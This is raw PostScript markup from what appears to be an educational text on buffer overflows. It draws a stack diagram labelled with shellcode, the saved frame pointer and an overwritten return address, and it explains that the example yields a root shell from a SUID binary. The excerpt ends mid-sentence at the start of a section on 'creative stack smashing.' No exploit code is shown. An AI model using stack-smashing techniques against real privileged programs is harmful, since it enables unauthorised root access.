7011 9663 L 7011 9653 L 5002 9653 L GS 0.0000 0.0000 0.0000 0.4667 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9653 M 7011 9653 L 7011 9643 L 5002 9643 L GS 0.0000 0.0000 0.0000 0.4588 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9643 M 7011 9643 L 7011 9636 L 5002 9636 L GS 0.0000 0.0000 0.0000 0.4510 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9636 M 7011 9636 L 7011 9626 L 5002 9626 L GS 0.0000 0.0000 0.0000 0.4431 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9626 M 7011 9626 L 7011 9620 L 5002 9620 L GS 0.0000 0.0000 0.0000 0.4353 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9620 M 7011 9620 L 7011 9610 L 5002 9610 L GS 0.0000 0.0000 0.0000 0.4275 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9610 M 7011 9610 L 7011 9603 L 5002 9603 L GS 0.0000 0.0000 0.0000 0.4196 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9603 M 7011 9603 L 7011 9593 L 5002 9593 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9593 M 7011 9593 L 7011 9586 L 5002 9586 L GS 0.0000 0.0000 0.0000 0.4039 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9586 M 7011 9586 L 7011 9576 L 5002 9576 L GS 0.0000 0.0000 0.0000 0.3961 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9576 M 7011 9576 L 7011 9570 L 5002 9570 L GS 0.0000 0.0000 0.0000 0.3882 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9570 M 7011 9570 L 7011 9560 L 5002 9560 L GS 0.0000 0.0000 0.0000 0.3804 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9560 M 7011 9560 L 7011 9550 L 5002 9550 L GS 0.0000 0.0000 0.0000 0.3725 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9550 M 7011 9550 L 7011 9543 L 5002 9543 L GS 0.0000 0.0000 0.0000 0.3647 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9543 M 7011 9543 L 7011 9536 L 5002 9536 L GS 0.0000 0.0000 0.0000 0.3569 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9536 M 7011 9536 L 7011 9526 L 5002 9526 L GS 0.0000 0.0000 0.0000 0.3490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9526 M 7011 9526 L 7011 9516 L 5002 9516 L GS 0.0000 0.0000 0.0000 0.3412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9516 M 7011 9516 L 7011 9510 L 5002 9510 L GS 0.0000 0.0000 0.0000 0.3333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9510 M 7011 9510 L 7011 9500 L 5002 9500 L GS 0.0000 0.0000 0.0000 0.3255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9500 M 7011 9500 L 7011 9493 L 5002 9493 L GS 0.0000 0.0000 0.0000 0.3176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9493 M 7011 9493 L 7011 9483 L 5002 9483 L GS 0.0000 0.0000 0.0000 0.3098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9483 M 7011 9483 L 7011 9406 L 5002 9406 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5005 9960 M 7008 9960 L 7008 9406 L 5005 9406 L 5005 9960 L 7008 9960 L 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont2p60000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 5776 9552 M (user stack) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 9406 M 7011 9406 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7680 M 7011 7680 L 7011 7610 L 5002 7610 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7610 M 7011 7610 L 7011 7603 L 5002 7603 L GS 0.0000 0.0000 0.0000 0.3020 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7603 M 7011 7603 L 7011 7593 L 5002 7593 L GS 0.0000 0.0000 0.0000 0.3098 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7596 M 7011 7596 L 7011 7586 L 5002 7586 L GS 0.0000 0.0000 0.0000 0.3176 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7586 M 7011 7586 L 7011 7580 L 5002 7580 L GS 0.0000 0.0000 0.0000 0.3255 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7580 M 7011 7580 L 7011 7573 L 5002 7573 L GS 0.0000 0.0000 0.0000 0.3333 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7573 M 7011 7573 L 7011 7563 L 5002 7563 L GS 0.0000 0.0000 0.0000 0.3412 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7566 M 7011 7566 L 7011 7556 L 5002 7556 L GS 0.0000 0.0000 0.0000 0.3490 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7556 M 7011 7556 L 7011 7550 L 5002 7550 L GS 0.0000 0.0000 0.0000 0.3569 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7550 M 7011 7550 L 7011 7540 L 5002 7540 L GS 0.0000 0.0000 0.0000 0.3647 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7540 M 7011 7540 L 7011 7533 L 5002 7533 L GS 0.0000 0.0000 0.0000 0.3725 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7533 M 7011 7533 L 7011 7526 L 5002 7526 L GS 0.0000 0.0000 0.0000 0.3804 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7526 M 7011 7526 L 7011 7520 L 5002 7520 L GS 0.0000 0.0000 0.0000 0.3882 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7520 M 7011 7520 L 7011 7510 L 5002 7510 L GS 0.0000 0.0000 0.0000 0.3961 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7513 M 7011 7513 L 7011 7503 L 5002 7503 L GS 0.0000 0.0000 0.0000 0.4039 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7503 M 7011 7503 L 7011 7496 L 5002 7496 L GS 0.0000 0.0000 0.0000 0.4118 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7496 M 7011 7496 L 7011 7490 L 5002 7490 L GS 0.0000 0.0000 0.0000 0.4196 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7490 M 7011 7490 L 7011 7480 L 5002 7480 L GS 0.0000 0.0000 0.0000 0.4275 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7480 M 7011 7480 L 7011 7473 L 5002 7473 L GS 0.0000 0.0000 0.0000 0.4353 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7473 M 7011 7473 L 7011 7466 L 5002 7466 L GS 0.0000 0.0000 0.0000 0.4431 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7466 M 7011 7466 L 7011 7456 L 5002 7456 L GS 0.0000 0.0000 0.0000 0.4510 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7456 M 7011 7456 L 7011 7450 L 5002 7450 L GS 0.0000 0.0000 0.0000 0.4588 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7450 M 7011 7450 L 7011 7443 L 5002 7443 L GS 0.0000 0.0000 0.0000 0.4667 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7443 M 7011 7443 L 7011 7436 L 5002 7436 L GS 0.0000 0.0000 0.0000 0.4745 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7436 M 7011 7436 L 7011 7426 L 5002 7426 L GS 0.0000 0.0000 0.0000 0.4824 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7426 M 7011 7426 L 7011 7420 L 5002 7420 L GS 0.0000 0.0000 0.0000 0.4902 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7420 M 7011 7420 L 7011 7413 L 5002 7413 L GS 0.0000 0.0000 0.0000 0.4980 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7413 M 7011 7413 L 7011 7406 L 5002 7406 L GS 0.0000 0.0000 0.0000 0.5059 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7406 M 7011 7406 L 7011 7396 L 5002 7396 L GS 0.0000 0.0000 0.0000 0.5137 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7396 M 7011 7396 L 7011 7390 L 5002 7390 L GS 0.0000 0.0000 0.0000 0.5216 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7390 M 7011 7390 L 7011 7383 L 5002 7383 L GS 0.0000 0.0000 0.0000 0.5294 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7383 M 7011 7383 L 7011 7376 L 5002 7376 L GS 0.0000 0.0000 0.0000 0.5373 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7376 M 7011 7376 L 7011 7366 L 5002 7366 L GS 0.0000 0.0000 0.0000 0.5451 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7366 M 7011 7366 L 7011 7360 L 5002 7360 L GS 0.0000 0.0000 0.0000 0.5529 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7360 M 7011 7360 L 7011 7353 L 5002 7353 L GS 0.0000 0.0000 0.0000 0.5608 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7353 M 7011 7353 L 7011 7346 L 5002 7346 L GS 0.0000 0.0000 0.0000 0.5686 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7346 M 7011 7346 L 7011 7336 L 5002 7336 L GS 0.0000 0.0000 0.0000 0.5765 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7336 M 7011 7336 L 7011 7330 L 5002 7330 L GS 0.0000 0.0000 0.0000 0.5843 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7330 M 7011 7330 L 7011 7323 L 5002 7323 L GS 0.0000 0.0000 0.0000 0.5922 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7323 M 7011 7323 L 7011 7313 L 5002 7313 L GS 0.0000 0.0000 0.0000 0.6000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7313 M 7011 7313 L 7011 7306 L 5002 7306 L GS 0.0000 0.0000 0.0000 0.6078 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7306 M 7011 7306 L 7011 7300 L 5002 7300 L GS 0.0000 0.0000 0.0000 0.6157 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 7300 M 7011 7300 L 7011 7293 L 5002 7293 L GS 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setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 7680 M 7011 7680 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 5893 7602 M (heap) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p60000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 5905 9858 M (argc) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 9683 M 7011 9683 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 37 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 5931 7315 M (bss) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 5002 9966 M 5002 7176 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 7008 9966 M 7008 7176 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 9963 M 7011 9963 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 7180 M 7011 7180 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 9126 M 7011 9126 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 8126 M 7011 8126 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p60000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 5627 7834 M (shellcode[]) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 5897 9004 M (sfp) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 5899 9286 M (ret) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 5726 8724 M (long_ptr) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p60000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 5155 7045 M (after strcpy\(\) is called; ret overwritten) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 7903 M 7011 7903 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p60000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 5426 8055 M (large_string[128]) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 8346 M 7011 8346 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4998 8570 M 7011 8570 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 5803 8281 M (buffer) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 5962 8498 M (i) ST GR GS 1200 9976 7030 7026 DOCLIPBOX n 4835 8296 M 4835 8070 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4952 8293 M 4832 8293 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4932 8263 M 4942 8293 L 4932 8323 L 5002 8293 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4832 8070 M 5005 8070 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4832 7960 M 4952 7960 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4932 7930 M 4942 7960 L 4932 7990 L 5002 7960 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 4835 7963 M 4835 7790 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5005 7793 M 4832 7793 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 10 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5615 8180 M 5615 9120 L GS 0.0000 0.0000 0.0000 0.0000 SET_CMYK eofill GR 20 setlinewidth 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR GS 1200 9976 7030 7026 DOCLIPBOX n 5668 9070 M 5615 9090 L 5561 9070 L 5615 9240 L GS 0.0000 0.0000 0.0000 1.0000 SET_CMYK eofill GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS 1200 9976 7029 7027 DOCLIPBOX n 5061 8957 M (strcpy) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS 1200 9976 7029 7027 DOCLIPBOX n 5063 8790 M (overflow) ST GR GR GS 0 11000 32000 -21000 DOCLIPBOX n 1176 6890 M 7523 6890 L 10 setlinewidth 0 setlinecap 0.0 0.0 0.0 1.0 SET_CMYK S GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont1p100000 SETFONT GS n 2223 6759 M (Figure 9.c) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 2818 6759 M ( - Buffer Overflow Example 9.a before and after ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont5p100000 SETFONT GS n 5541 6759 M (strcpy\(\)) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p100000 SETFONT GS n 6205 6759 M ( call.) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 6247 M (Example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2348 6247 M (9.b ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2599 6247 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2882 6247 M (Figure ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3360 6247 M (9.c ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3602 6247 M (detail ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4014 6247 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4131 6247 M (full ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4405 6247 M (example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5012 6247 M (of ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5194 6247 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5311 6247 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5696 6247 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6368 6247 M (sequence. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7105 6247 M (If ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7260 6247 M (this ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5971 M (code ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1569 5971 M (were ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1938 5971 M (compiled, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2644 5971 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2929 5971 M (configured ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3695 5971 M (with ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4035 5971 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4469 5971 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4782 5971 M (permissions, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5665 5971 M (and ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5950 5971 M (made ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6356 5971 M (world ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6789 5971 M (executable ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5695 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1416 5695 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1540 5695 M (UNIX ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2006 5695 M (system, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2561 5695 M (it ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2703 5695 M (would ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3168 5695 M (return ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3616 5695 M (an ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3823 5695 M (interactive, ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4617 5695 M (privileged ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5341 5695 M (shell ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5705 5695 M (for ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5950 5695 M (any ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6240 5695 M (user ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6568 5695 M (on ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6784 5695 M (the ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 7037 5695 M (system ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 1200 5419 M (who ran the resulting binary. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p140000 SETFONT GS n 1200 5118 M (9.1 Creative stack smashing) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK AXFont3p120000 SETFONT GS n 1700 4835 M (Example ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2347 4835 M (9.b ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2607 4835 M (is ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 2770 4835 M (not ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3034 4835 M (a ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3160 4835 M (typical ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 3664 4835 M (stack ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4058 4835 M (smashing ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 4739 4835 M (sequence. ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5485 4835 M (SUID ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 5926 4835 M (root ) ST GR 0.0000 0.0000 0.0000 1.0000 SET_CMYK GS n 6246 4835 M (programs ) ST GR 0.0000 